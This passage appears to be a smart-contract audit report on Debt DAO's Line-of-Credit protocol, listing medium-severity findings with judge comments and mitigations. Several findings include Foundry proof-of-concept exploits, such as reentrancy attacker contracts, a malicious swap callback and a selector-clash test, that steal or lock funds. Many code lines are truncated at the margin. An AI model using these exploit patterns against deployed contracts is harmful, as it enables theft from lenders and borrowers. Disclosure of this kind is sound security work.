function test freeze eth depositAndClose() public {
   uint256 amount = 1 ether;
   address eth = address(0xEeeeeEeeEeEeEeEeEeEeEeeEeEee
   // fund lender
   deal(lender, amount*5);
   // fund borrower
   deal(borrower, amount*5);
   // add credit to line
   addCreditEth(eth, amount);
   //borrow 1 ether
   bytes32 id = line.ids(0);
   vm.startPrank(borrower);
   line.borrow(id, amount);
   vm.stopPrank();
   //depositAndClose full extra funds (amount * 2)
   vm.startPrank(borrower);
   line.depositAndClose{value:amount*2}();
   vm.stopPrank();
   //validate funds are stuck
   console.log(address(line).balance);
   assert(address(line).balance == amount*2 - amount);
}
function test freeze eth depositAndRepay() public {
   uint256 amount = 1 ether;
   address eth = address(0xEeeeeEeeeEeEeEeEeEeEeEeeeEeeeEee
   // fund lender
   deal(lender, amount*5);
   // fund borrower
   deal(borrower, amount*5);
```

```
// add credit to line
   addCreditEth(eth, amount);
   //borrow 1 ether
   bytes32 id = line.ids(0);
   vm.startPrank(borrower);
   line.borrow(id, amount);
   vm.stopPrank();
    //depositAndRepay full extra funds (amount * 2)
   vm.startPrank(borrower);
   line.depositAndRepay{value:amount*2}(amount);
   vm.stopPrank();
   // Lender calls withdraw
   vm.startPrank(lender);
   line.withdraw(id, amount);
   vm.stopPrank();
   //validate funds are stuck
   assert(address(line).balance == amount*2 - amount);
}
function test freeze eth addCredit() public {
   uint256 amount = 1 ether;
    address eth = address(0xEeeeeEeeeEeEeEeEeEeEeEeeeEeee
   // fund lender
   deal(lender, amount*5);
   // fund borrower
   deal(borrower, amount*5);
   // add credit to line
   vm.prank(borrower);
   line.addCredit(dRate, fRate, amount, eth, lender);
   vm.stopPrank();
   vm.prank(lender);
   //double msg.value then amount
   line.addCredit{value: amount*2}(dRate, fRate, amount, et
   vm.stopPrank();
    //borrow 1 ether
   bytes32 id = line.ids(0);
   vm.startPrank(borrower);
   line.borrow(id, amount);
```

```
vm.stopPrank();
    //depositAndClose full extra funds (amount)
    vm.startPrank(borrower);
    line.depositAndClose{value:amount}();
    vm.stopPrank();
    //validate funds are stuck
    assert(address(line).balance == amount*2 - amount);
}
function test freeze eth increaseCredit() public {
    uint256 amount = 1 ether;
    address eth = address(0xEeeeeEeeeEeEeEeEeEeEeEeEeeeEee
    // fund lender
    deal(lender, amount*5);
    // fund borrower
    deal(borrower, amount*5);
    // add credit to line
    addCreditEth(eth, amount);
    // get id
    bytes32 id = line.ids(0);
    // increase credit to line
    vm.prank(borrower);
    line.increaseCredit(id, amount);
    vm.stopPrank();
   vm.prank(lender);
    //double msg.value then amount
    line.increaseCredit{value:amount*2}(id, amount);
    vm.stopPrank();
    //total amount * 3 in contract
    //borrow 2 ether
    vm.startPrank(borrower);
    line.borrow(id, amount * 2);
    vm.stopPrank();
    //depositAndClose full extra funds (amount)
    vm.startPrank(borrower);
    line.depositAndClose{value:amount*2}();
    vm.stopPrank();
```

```
//validate funds are stuck
assert(address(line).balance == amount*3 - amount*2);
}
```

The POC demonstrates how Borrower and Lender funds get locked in the protocol.

(P)

Tools Used

VS Code, Foundry

G)

Recommended Mitigation Steps

Options:

- 1. refund in receiveTokenOrETH, refund tokens back to msg.sender if
 msg.value > amount
- 2. revert change the expression if (msg.value < amount) to if (msg.value
 != amount) and revert the transaction.</pre>

dmvt (judge) decreased severity to Medium and commented:

This has been rated Medium because it requires that the borrower or lender send too much ETH in the first place (external factor). Great report quality!

kibagateaux (Debt DAO) confirmed

[M-O4] Lender can trade claimToken in a malicious way to steal the borrower's money via claimAndRepay() in SpigotedLine by using malicious zeroExTradeData

Submitted by perseverancesuccess, also found by Trust, HE1M, minhquanym, adriro, cccz, 0x52, Lambda, and aphak5010

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L106-L112

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotedLineLib.sol#L75-L85

യ Impact

Lender can trade claimToken in a malicious way to steal the borrower's money via claimAndRepay() in SpigotedLine by using malicious zeroExTradeData.

In the design of the protocol, the lender can use the function <code>claimAndRepay()</code>, the lender can take claimToken by spigot.claimEscrow and then trade the claimToken to the CreditTOken via ZeroEx exchange, then repay the credit.

```
function claimAndRepay(address claimToken, bytes calldata zeroE>
       whileBorrowing
        nonReentrant
        returns (uint256) {
// Line 106 - Line 112
uint256 newTokens = claimToken == credit.token ?
          spigot.claimEscrow(claimToken) : // same asset. dont
                                           // trade revenue tok
          claimAndTrade(
             claimToken,
              credit.token,
             zeroExTradeData
          ) ;
// Line 128 - Line 130
credits[id] = repay(credit, id, repaid);
        emit RevenuePayment(claimToken, repaid);
function claimAndTrade(
      address claimToken,
      address targetToken,
     bytes calldata zeroExTradeData
```

```
returns (uint256)
        (uint256 tokensBought, uint256 totalUnused) = SpigotedLi
            claimToken,
            targetToken,
            swapTarget,
            address(spigot),
            unusedTokens[claimToken],
            zeroExTradeData
        );
        // we dont use revenue after this so can store now
        unusedTokens[claimToken] = totalUnused;
        return tokensBought;
function claimAndTrade(
        address claimToken,
        address targetToken,
        address payable swapTarget,
        address spigot,
        uint256 unused,
        bytes calldata zeroExTradeData
    external
        returns (uint256, uint256)
{
 trade(
            claimed + unused,
            claimToken,
            swapTarget,
            zeroExTradeData
        );
        // underflow revert ensures we have more tokens than we
        uint256 tokensBought = LineLib.getBalance(targetToken) -
        if(tokensBought == 0) { revert TradeFailed(); } // ensur
```

internal

In the function to claimAndTrade in SpigotedLineLib.sol, the check in line 85 to check if tokenBought is not equal to 0 then revert.

The bug here is the zeroExTradeData is controlled by the lender and can be malicious and can manipulate the flow to bypass the check in line 85.

ত Proof of Concept

}

The following code can manipulate and bypass the check to steal money of the borrower.

Step 1: Construct the zeroExTradeData data to sell the claimToken to ETH via the ZeroEx exchange data. The lender constructs the zeroExTradeData to send ETH to the exploit contract.

Step 2: In the exploit contract, have the receive() function to receive ETH from ZeroEx exchange. Since the exchange was from claimToken to ETH, so the exploit contract will receive the ETH and the code in receive function will be hit.

```
receive() external payable {
   console.log("Callback hit: Send the SpigottedLine Contract s
   uint256 amount = 100;
   creditToken.transfer(address(line),amount);
   console.log("Receive the amount of ETH: %s", msg.value);
}
```

In the receive() function, the exploit contract transfers some amount of creditToken to the SpigotedLine contract to bypass the check:

```
if(tokensBought == 0) { revert TradeFailed(); } // ensure toker
```

Since this check requires only not 0, so the lender can send only 1 or very small amount, e.g. 100 of creditToken.

This amount then will be used to repay the credit.

So this means, the borrower lost money, because the lender can claim big amount of claimToken and repay a little for the credit.

In the zip file in the Google_Drive link, there is the POC written for this bug.

The test case is test lender can claim and repay 13 in file Spigoted Line.t. modified. sol

You can put this file to the tests folder https://drive.google.com/file/d/1IWAV8Zz5KVgw22-gnVZrOxkcYrgv8cO2/view? https://drive.google.com/file/d/1IWAV8Zz5KVgw22-gnVZrOxkcYrgv8cO2/view?

You can run the POC by calling:

```
forge test -m test_lender_can_claim_and_repay_3 -vvvvv --fork-ur
umber 15918000
```

Here I use the block-number to make the test log stable, but this does not impact the logic of POC.

You can find the detailed log file: Line-of-Credit\test*claim*\221107_2311.log.

The full log file here: https://drive.google.com/file/d/1LTY2-z8gOlOenOUt9CbX1KpwvDvNVQdx/view?usp=sharing

In this log file, the lender claims 1000 DAI (DAI is revenueToken) then sell to receive 0.6324 ETH, but repays only 100 * (10 ** -18) BUSD for the borrower.

Logs:

Step O: As a Borrower borrow some money

unused: 0

Step 1: As the lender, call claimAndRepay with Malicious zeroExTradeData

Callback hit: Send the SpigottedLine Contract some CreditToken to bypass the check of Balance

Receive the amount of ETH: 632428006785336734 emit RepayInterest(id: 0xa874d902851500473943ebb58b0c06aca6125454fa55abe5637379305db10141, amount: 0)

emit RepayPrincipal(id:

Oxa874d902851500473943ebb58b0c06aca6125454fa55abe5637379305db10141, amount: 100)

RevenuePayment(token: DAI:

[0x6b175474e89094c44da98b954eedeac49527ld0f], amount: 100)

You can use the POC.patch here:

https://drive.google.com/file/d/17Ycdi5czBoFOKNQlgVqWxVdHxfw04304/view?usp=sharing

To use it use command

```
git apply POC.patch
```

To run use command

```
forge install
forge test -m test_lender_can_claim_and_repay_3 -vvvvv --fork-ur
umber 15918000
```

The full code repository: https://drive.google.com/file/d/1LTY2-z8g0l0en0Ut9CbX1KpwvDvNVQdx/view?usp=sharing

യ Tools Used

Foundry

Recommended Mitigation Steps

This is a difficult bug to fix if the protocol still allows the lender to use this functionality. Probably should limit this functionality for the borrower to use. Because the borrower will not benefit from stealing his own money.

dmvt (judge) decreased severity to Medium

dmvt (judge) commented:

A note on this. #411 describes a different vector of the same fundamental attack. It's likely that the vector in #411 is more likely to occur, but I'm marking this one the best due to the inclusion of a test and descriptive POC. For the final report it should be noted that both the lender and borrower can perform a version of this attack.

kibagateaux (Debt DAO) confirmed

© [M-O5] Reentrancy bug allows lender to steal other lenders funds

Submitted by OxdeadbeefOx, also found by SmartSek, joestakey, and hansfriese

A reentrancy bug in LineOfCredit.sol allows the lender to steal other lenders tokens if they are lending the same tokens type (loss of funds).

The reentrancy occurs in the _close(credit, id) function in LineOfCredit.sol. The credit[id] state variable is cleared only after sendings tokens to the lender.

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L483

function _close(Credit memory credit, bytes32 id) internal \(\)
 if(credit.principal > 0) { revert CloseFailedWithPrincip

// return the Lender's funds that are being repaid

ত Proof of Concept

Reentrancy is possible if the borrower is lending tokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork).

As the protocol supports any token listed on the oracle, if the oracle currently supports (or will support in the future) a feed of the above tokens, the bug is exploitable.

If a reentrancy occurs in the _close(credit, id) function, the credit[id] state variable is cleared only after sendings tokens to the lender. A lender can abuse this by reentrancy to close(id) and retrieve credit.deposit + credit.interestRepaid amount of credit.token. A lender can repeat these processes as long as LineOfCredit has funds available.

The POC will demonstrate the following flow:

- 1. Borrower adds a new credit with lender1 on 1000 tokens.
 - 2. Borrower lends 1000 from lender1
- 3. Borrower repays debt
- 4. Borrower adds a new credit with lender2 on 1000 tokens
- 5. Borrower closes debt with lender1
- 6. Lender1 receives 2000 tokens.

Add the MockLender.sol to mock folder.

```
pragma solidity 0.8.9;
import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol";
import { Token777 } from "./Token777.sol";
contract MockLender {
    address owner;
    ILineOfCredit line;
    bytes32 id;
    bool lock;
    event GotMoney(uint256 amount);
    constructor(address line) public {
        line = ILineOfCredit( line);
        owner = msq.sender;
    }
    function addCredit(
        uint128 drate,
        uint128 frate,
        uint256 amount,
        address token
    ) external {
        require (msg.sender == owner, "Only callable by owner");
        Token777 (token).approve (address (line), amount);
        Token777 (token).approve (address (owner), type (uint256).ma
        Token777(token).mockAddToRegistry();
        id = line.addCredit(drate, frate, amount, token, address
    function tokensReceived(
        address operator,
        address from,
```

```
address to,
    uint256 amount,
    bytes calldata userData,
    bytes calldata operatorData
) external {
    emit GotMoney(amount);
    if(!lock){
        lock = true;
        line.close(id);
    }
}
receive() external payable {
}
```

Add Token777.sol to mocks folder:

```
pragma solidity 0.8.9;
import "openzeppelin/token/ERC20/ERC20.sol";
interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
       uint256 amount,
       bytes calldata userData,
       bytes calldata operatorData
    ) external;
}
contract Token777 is ERC20("Token used to trade", "777") {
   mapping(address => uint256) private balances;
    mapping(address => address) private registry;
    uint256 private totalSupply;
    string private name;
    string private symbol;
    // ERC20-allowances
    mapping(address => mapping(address => uint256)) private all
```

```
event Test (address);
constructor() {
 function mint (address account, uint256 amount) external retu
     mint(account, amount);
    return true;
 }
 function mint(
     address account,
    uint256 amount
 ) internal virtual override{
     require (account != address(0), "ERC777: mint to the zero
    // Update state variables
     totalSupply += amount;
     balances[account] += amount;
     emit Test (account);
function balanceOf(address account) public view virtual over
     return balances[account];
 }
function approve (address spender, uint256 value) public virt
     address holder = msgSender();
     approve(holder, spender, value);
     return true;
function approve(
    address holder,
    address spender,
    uint256 value
) internal virtual override {
     require(holder != address(0), "ERC777: approve from the
     require (spender != address(0), "ERC777: approve to the z
     allowances[holder][spender] = value;
     emit Approval (holder, spender, value);
 function transferFrom(
     address holder,
    address recipient,
     uint256 amount
 ) public virtual override returns (bool) {
```

```
address spender = msgSender();
    emit Test(msg.sender);
    spendAllowance(holder, spender, amount);
   send (holder, recipient, amount, "", "", false);
   return true;
}
function allowance (address holder, address spender) public v
    return allowances[holder][spender];
function spendAllowance(
   address owner,
   address spender,
   uint256 amount
) internal override virtual {
    emit Test(msg.sender);
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance != type(uint256).max) {
        require(currentAllowance >= amount, "ERC777: insuffi
        unchecked {
            approve (owner, spender, currentAllowance - amou
    }
}
function transfer (address recipient, uint256 amount) public
   send( msgSender(), recipient, amount, "", "", false);
   return true;
function send(
   address from,
   address to,
   uint256 amount,
   bytes memory userData,
   bytes memory operatorData,
   bool requireReceptionAck
) internal virtual {
    require(from != address(0), "ERC777: transfer from the z
    require(to != address(0), "ERC777: transfer to the zero
    address operator = msgSender();
    move (operator, from, to, amount, userData, operatorData
    callTokensReceived(operator, from, to, amount, userData
```

```
function move (
    address operator,
    address from,
    address to,
   uint256 amount,
   bytes memory userData,
   bytes memory operatorData
) private {
    uint256 fromBalance = balances[from];
    require(fromBalance >= amount, "ERC777: transfer amount
    unchecked {
        balances[from] = fromBalance - amount;
    balances[to] += amount;
function callTokensReceived(
    address operator,
    address from,
    address to,
   uint256 amount,
   bytes memory userData,
   bytes memory operatorData,
   bool requireReceptionAck
) private {
    address implementer = registry[to];
    if (implementer != address(0)) {
        IERC777Recipient(implementer).tokensReceived(operato
}
function mockAddToRegistry() external {
    registry[msg.sender] = msg.sender;
```

Add the following imports to LineOfCredit.t.sol:

```
import { MockLender } from "../mock/MockLender.sol";
```

```
import { Token777 } from "../mock/Token777.sol";
```

Add the following test to LineOfCredit.t.sol:

```
function test reentrancy() public {
    uint256 lenderOneAmount = 1000;
    uint256 lenderTwoAmount = 1000;
    Token777 tokenUsed = new Token777();
    // Create lenderController
    address lenderOneController = address(Oxdeadbeef);
    address lender2 = address(0x1337);
    // Create lenderContract
    vm.startPrank(lenderOneController);
    MockLender lenderOneContract = new MockLender(address(li
    vm.stopPrank();
    // give lenders their lend amount of token
    tokenUsed.mint(address(lenderOneContract), lenderOneAmou
    tokenUsed.mint(address(lender2), lenderTwoAmount);
    // add support of the token to the SimpleOracle
    oracle.changePrice(address(tokenUsed), 1000 * 1e8); // 1
    // Borrowers adds credit line from lender2
    vm.startPrank(borrower);
    line.addCredit(dRate, fRate, lenderOneAmount, address(to
    vm.stopPrank();
    // LenderOne adds credit line
    vm.startPrank(lenderOneController);
    lenderOneContract.addCredit(dRate, fRate, lenderOneAmour
    vm.stopPrank();
    //borrow 1 ether
    bytes32 id first = line.ids(0);
    vm.startPrank(borrower);
    line.borrow(id first, lenderOneAmount);
    vm.stopPrank();
    // Borrowers adds an additional credit line from lender2
    vm.startPrank(borrower);
    line.addCredit(dRate, fRate, lenderTwoAmount, address(to
    vm.stopPrank();
```

```
// Lender2 adds an additional credit line from
vm.startPrank(lender2);
tokenUsed.approve(address(line), lenderTwoAmount);
line.addCredit(dRate, fRate, lenderTwoAmount, address(tovm.stopPrank();

// repay all debt to lender 1
vm.startPrank(borrower);
tokenUsed.approve(address(line), lenderOneAmount);
line.depositAndRepay(lenderOneAmount);
line.close(id_first);
vm.stopPrank();

//validate that lender1 was able to steal lender2 tokens
assert(tokenUsed.balanceOf(address(lenderOneContract)) =
```

To run the POC execute: forge test -v

Expected output:

```
[PASS] test_reentrancy() (gas: 1636410)
Test result: ok. 1 passed; 0 failed; finished in 1.71ms
```

To get full trace execute: forge test -vvvv

ഗ

Tools Used

VS Code, Foundry.

ര

Recommended Mitigation Steps

Send tokens only at the end of _close(Credit memory credit, bytes32 id) or add a reentrancyGuard.

kibagateaux (Debt DAO) disputed and commented:

Similar comments to <u>#176</u>. Both Lenders would have to agree to use tokens that have inherent reentrancy attacks built into the token. This issue feels much more

valid than the other one.

In my opinion its not valid to say "if you add malicious things, malicious things happen". If I didn't want token reentrancy attacks, I simply wouldn't add tokens with explicit arbitrary reentrancy abilities.

dmvt (judge) commented:

That line of reasoning doesn't hold up. The user should be protected against accidentally allowing a token that has a reentrancy attack vector. There is not an immediate and obvious difference between ERC777 and ERC20 tokens. This issue has been a viable Medium risk going all the way back to Uniswap V2 (or possibly before).

ക

[M-06] The lender can draw out extra credit token from borrower's account

Submitted by KingNFT, also found by __141345__, adriro, and Ch_301

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L388

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L488</u>

ഗ

Impact

When the credit token is ERC20 extensive with hook, such as ERC777 token, the lender can exploit it to draw out extra tokens from borrower's account. And the count state variable would also be underflowed, cause the line contract can't be 'REPAID', the borrower will never be able to get back the collateral.

P.S.

Similar attack on imBTC

Proof of Concept

The vulnerable point is in _close() function,

The following testcase shows how to exploit it, put it into a new LenderExploit.t.sol file under 'test' directory, it will pass

```
pragma solidity 0.8.9;
import "forge-std/Test.sol";
import { Denominations } from "chainlink/Denominations.sol";
import { Address } from "openzeppelin/utils/Address.sol";
import { Spigot } from "../modules/spigot/Spigot.sol";
import { Escrow } from "../modules/escrow/Escrow.sol";
import { SecuredLine } from "../modules/credit/SecuredLine.sol";
import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol";
import { ISecuredLine } from "../interfaces/ISecuredLine.sol";
import { LineLib } from "../utils/LineLib.sol";
import { MutualConsent } from "../utils/MutualConsent.sol";
import { MockLine } from "../mock/MockLine.sol";
import { SimpleOracle } from "../mock/SimpleOracle.sol";
import { RevenueToken } from "../mock/RevenueToken.sol";
interface IHook {
    function tokensReceived(
        address from,
        address to,
```

```
uint256 amount
    ) external;
contract RevenueTokenWithHook is RevenueToken {
    using Address for address;
    mapping(address => bool) public registry;
    function afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        super. afterTokenTransfer(from, to, amount);
        if (registry[to]) {
           IHook(to).tokensReceived(from, to, amount);
        }
    }
    function registerHook(address addr) external {
        registry[addr] = true;
}
contract Attacker is IHook {
    uint256 constant ATTACK COUNT = 10;
    SecuredLine line;
    address borrower;
    RevenueTokenWithHook token;
    uint256 count;
   bool attackEnable;
    constructor (address line , address borrower , address token
        line = SecuredLine(payable(line));
        borrower = borrower ;
        token = RevenueTokenWithHook(token );
        token.registerHook(address(this));
    function tokensReceived(
            address,
            address,
            uint256
        ) external {
        if (msg.sender != address(token)) return;
        if (!attackEnable) return;
        uint256 count = count;
        if (count >= ATTACK COUNT) return;
```

```
count = count + 1;
        bytes32 id = line.ids(0);
        (uint256 deposit,,,,,,) = line.credits(id);
        token.transfer(address(line), deposit);
        line.close(id);
    }
    function enableAttack() external {
        attackEnable = true;
    }
}
contract ExploitCloseFunctionTest is Test {
    uint256 constant ONE YEAR = 365.25 days;
    uint256 constant ATTACK COUNT = 10;
    Escrow escrow;
    Spigot spigot;
    RevenueTokenWithHook supportedToken1;
    RevenueToken supportedToken2;
    RevenueToken unsupportedToken;
    SimpleOracle oracle;
    SecuredLine line;
    uint mintAmount = 100 ether;
    uint MAX INT = 115792089237316195423570985008687907853269984
    uint32 minCollateralRatio = 10000; // 100%
    uint128 dRate = 100;
    uint128 fRate = 1;
    uint ttl = ONE YEAR;
    address borrower;
    address arbiter;
    address lender;
    function setUp() public {
        borrower = address(20);
        arbiter = address(this);
        supportedToken1 = new RevenueTokenWithHook();
        supportedToken2 = new RevenueToken();
        unsupportedToken = new RevenueToken();
        spigot = new Spigot(arbiter, borrower, borrower);
        oracle = new SimpleOracle(address(supportedToken1), addr
        escrow = new Escrow (minCollateralRatio, address (oracle),
```

```
line = new SecuredLine(
      address (oracle),
      arbiter,
     borrower,
      payable (address (0)),
      address (spigot),
      address (escrow),
     ONE YEAR,
      ()
    );
    lender = address(new Attacker(address(line), borrower, a
    assertEq(supportedToken1.registry(lender), true);
   escrow.updateLine(address(line));
    spigot.updateOwner(address(line));
   assertEq(uint(line.init()), uint(LineLib.STATUS.ACTIVE))
   mintAndApprove();
   escrow.enableCollateral( address(supportedToken1));
   escrow.enableCollateral( address(supportedToken2));
   vm.startPrank(borrower);
   escrow.addCollateral(1 ether, address(supportedToken2));
   vm.stopPrank();
function testExpoit() public {
    addCredit(address(supportedToken1), 1 ether);
   bytes32 id = line.ids(0);
   vm.warp(line.deadline() - ttl / 2);
   line.accrueInterest();
    (uint256 deposit, , uint256 interestAccrued, , , , ) = 1
   uint256 lenderBalanceBefore = supportedToken1.balanceOf
   uint256 lenderBalanceAfterExpected = lenderBalanceBefore
   Attacker(lender).enableAttack();
   hoax(lender);
   line.close(id);
   vm.stopPrank();
   uint256 lenderBalanceAfter = supportedToken1.balanceOf()
   assertEq(lenderBalanceAfter, lenderBalanceAfterExpected
    (uint256 count,) = line.counts();
   assertEq(count, MAX INT - ATTACK COUNT + 1);
```

```
function mintAndApprove() internal {
    deal(lender, mintAmount);
    supportedToken1.mint(borrower, mintAmount);
    supportedToken1.mint(lender, mintAmount);
    supportedToken2.mint(borrower, mintAmount);
    supportedToken2.mint(lender, mintAmount);
    unsupportedToken.mint(borrower, mintAmount);
    unsupportedToken.mint(lender, mintAmount);
    vm.startPrank(borrower);
    supportedToken1.approve(address(escrow), MAX INT);
    supportedToken1.approve(address(line), MAX INT);
    supportedToken2.approve(address(escrow), MAX INT);
    supportedToken2.approve(address(line), MAX INT);
    unsupportedToken.approve(address(escrow), MAX INT);
    unsupportedToken.approve(address(line), MAX INT);
    vm.stopPrank();
    vm.startPrank(lender);
    supportedToken1.approve(address(escrow), MAX INT);
    supportedToken1.approve(address(line), MAX INT);
    supportedToken2.approve(address(escrow), MAX INT);
    supportedToken2.approve(address(line), MAX INT);
    unsupportedToken.approve(address(escrow), MAX INT);
    unsupportedToken.approve(address(line), MAX INT);
    vm.stopPrank();
function addCredit(address token, uint256 amount) public {
    hoax (borrower);
    line.addCredit(dRate, fRate, amount, token, lender);
    vm.stopPrank();
    hoax(lender);
    line.addCredit(dRate, fRate, amount, token, lender);
    vm.stopPrank();
}
receive() external payable {}
```

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L388

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L488

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L173</u>

ക

Tools Used

VS Code

വ

Recommended Mitigation Steps

Add reentrancy protection on close() function.

dmvt (judge) decreased severity to Medium and commented:

Has external requirements making the report Medium risk, not High.

kibagateaux (Debt DAO) commented:

Could be marked as "Acknowledged". At the end of the day Borrowers and Lenders agree to which tokens to use, Debt DAO has no part in decision.

In my opinion it's not valid to say "If you add malicious things, malicious things happen". If I didn't want token reentrancy attacks, I simply wouldn't add tokens with explicit arbitrary reentrancy abilities.

dmvt (judge) commented:

I think the sponsor misunderstands something fundamental about the way reentrancy attacks happen. The token itself isn't malicious. It's the external calls the token makes as part of its normal interaction that *can be made*, but are not necessarily, malicious. Issue stands.

[M-O7] Whitelisted functions aren't scoped to revenue contracts and may lead to unnoticed calls due to selector clashing

Submitted by adriro, also found by berndartmueller, bin2chen, Jeiwan, Ruhum, and rvierdiiev

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-O3/contracts/utils/SpigotLib.sol#L67

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L14

Whitelisted functions in the Spigot contract don't have any kind of association or validation to which revenue contract they are intended to be used. This may lead to inadvertently whitelisting a function in another revenue contract that has the same selector but a different name (signature).

രാ **Impact**

Functions in Solidity are represented by the first 4 bytes of the keccak hash of the function signature (name + argument types). It is possible (and not difficult) to find different functions that have the same selector.

In this way, a bad actor can try to use an innocent looking function that matches the selector of another function (in a second revenue contract) that has malicious intentions. The arbiter will review the innocent function, whitelist its selector, while unknowingly enabling a potential call to the malicious function, since whitelisted functions can be called on any revenue contract.

Mining for selector clashing is feasible since selectors are 4 bytes and the search space isn't that big for current hardware.

This is similar to the attack found on proxies, documented **here** and **here**.

In the following test, the collate_propagate_storage(bytes16) function is whitelisted because it looks safe enough to the arbiter. Now, collate_propagate_storage(bytes16) has the same selector as burn(uint256), which allows a bad actor to call EvilRevenueContract.burn using the operate function of the Spigot.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file <code>Spigot.t.sol</code>.

```
contract InnocentRevenueContract {
    function collate propagate storage(bytes16) external {
        // It's all safe here!
        console.log("Hey it's all good here");
}
contract EvilRevenueContract {
    function burn(uint256) external {
        // Burn the world!
       console.log("Boom!");
}
function test WhitelistFunction SelectorClash() public {
      vm.startPrank(owner);
      spigot = new Spigot(owner, treasury, operator);
      // Arbiter looks at InnocentRevenueContract.collate propac
      spigot.updateWhitelistedFunction(InnocentRevenueContract.c
      assertTrue(spigot.isWhitelisted(InnocentRevenueContract.co
      // Due to selector clashing EvilRevenueContract.burn gets
      assertTrue(spigot.isWhitelisted(EvilRevenueContract.burn.s
      EvilRevenueContract evil = new EvilRevenueContract();
      // ISpigot.Setting memory settings = ISpigot.Setting(90, c
      // require(spigot.addSpigot(address(evil), settings), "Fai
      vm.stopPrank();
      // And we can call it through operate...
```

```
vm.startPrank(operator);
spigot.operate(address(evil), abi.encodeWithSelector(EvilF))
```

ക

Recommendation

Associate whitelisted functions to particular revenue contracts (for example, using a mapping (address => mapping (bytes4 => bool))) and validate that the selector for the call is enabled for that specific revenue contract in the operate function.

dmvt (judge) decreased severity to Medium

kibagateaux (Debt DAO) acknowledged

ര

[M-08] Mistakenly sent eth could be locked

Submitted by __141345__, also found by OxSmartContract, joestakey, rbserver, datapunk, eierina, bin2chen, Tomo, Oxbepresent, aphak5010, and cloudjunky

If ERC20 and eth are transferred at same time, the mistakenly sent eth will be locked.

There are several functions that could be affected and cause user fund lock:

- addCollateral()
- addCredit()
- increaseCredit()
- depositAndClose()
- depositAndRepay()
- close()

ര

Proof of Concept

In receiveTokenOrETH(), different logic is used to handle ERC20 and eth transfer. However, in the ERC20 if block, mistakenly sent eth will be ignored. This part of eth will be locked in the contract.

ക

Recommended Mitigation Steps

In the ERC20 part, add check for msg.value to ensure no eth is sent:

```
if(token != Denominations.ETH) { // ERC20
   if (msg.value > 0) { revert TransferFailed(); }
   IERC20(token).safeTransferFrom(sender, address(this)
} else { // ETH
```

kibagateaux (Debt DAO) confirmed

 \mathcal{O}

[M-09] Variable balance ERC20 support

Submitted by __141345__, also found by minhquanym, everyanykey, pashov, rbserver, Ch_301, hansfriese, cccz, ladboy233, Jeiwan, codexploder, Ruhum, Bnke0x0, ayeslick, Lambda, aphak5010, and rvierdiiev

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L94-L96</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L75-L79</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L273-L280</u>

https://github.com/debtdao/Line-of-

<u>Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/</u>credit/LineOfCredit.sol#L487-L493

დ Impact

Some ERC20 may be tricky for the balance. Such as:

- fee on transfer (STA, USDT also has this mode)
- rebasing (aToken from AAVE)
- variable balance (stETH, balance could go up and down)

For these tokens, the balance can change over time, even without transfer()/transferFrom(). But current accounting stores the spot balance of the asset.

The impacts include:

- the calculation of collateral value could be inaccurate
- protocol could lose funds due to the deposit/repay amount being less than the actual transferred amount after fee
- the amount user withdraw collateral when _close() will be inaccurate
 - some users could lose funds due to under value
 - some funds could be locked due to the balance inflation
 - some funds might be locked due to the balance deflation

The spot new deposit amount is stored in the mapping self.deposited[token].amount and credit.deposit, and later used to

calculate the collateral value and withdraw amount.

```
// Line-of-Credit/contracts/utils/EscrowLib.sol
    function addCollateral (EscrowState storage self, address ora
        // ...
        LineLib.receiveTokenOrETH(token, msg.sender, amount);
        self.deposited[token].amount += amount;
        // ...
    }
    function getCollateralValue (EscrowState storage self, addre
            // ...
            d = self.deposited[token];
                // ...
                collateralValue += CreditLib.calculateValue(
                  o.getLatestAnswer(d.asset),
                 deposit,
                 d.assetDecimals
             ) ;
            // ...
    }
// Line-of-Credit/contracts/modules/credit/LineOfCredit.sol
    function increaseCredit(bytes32 id, uint256 amount) {
        // ...
        Credit memory credit = credits[id];
        credit = accrue(credit, id);
        credit.deposit += amount;
        credits[id] = credit;
        LineLib.receiveTokenOrETH(credit.token, credit.lender, a
        // ...
    function close (Credit memory credit, bytes32 id) internal v
        // ...
        if (credit.deposit + credit.interestRepaid > 0) {
           LineLib.sendOutTokenOrETH(
```

However, if the balance changed later, the returned collateral value will be inaccurate. And the amount used when withdraw collateral in _close() is also wrong.

ত Recommended Mitigation Steps
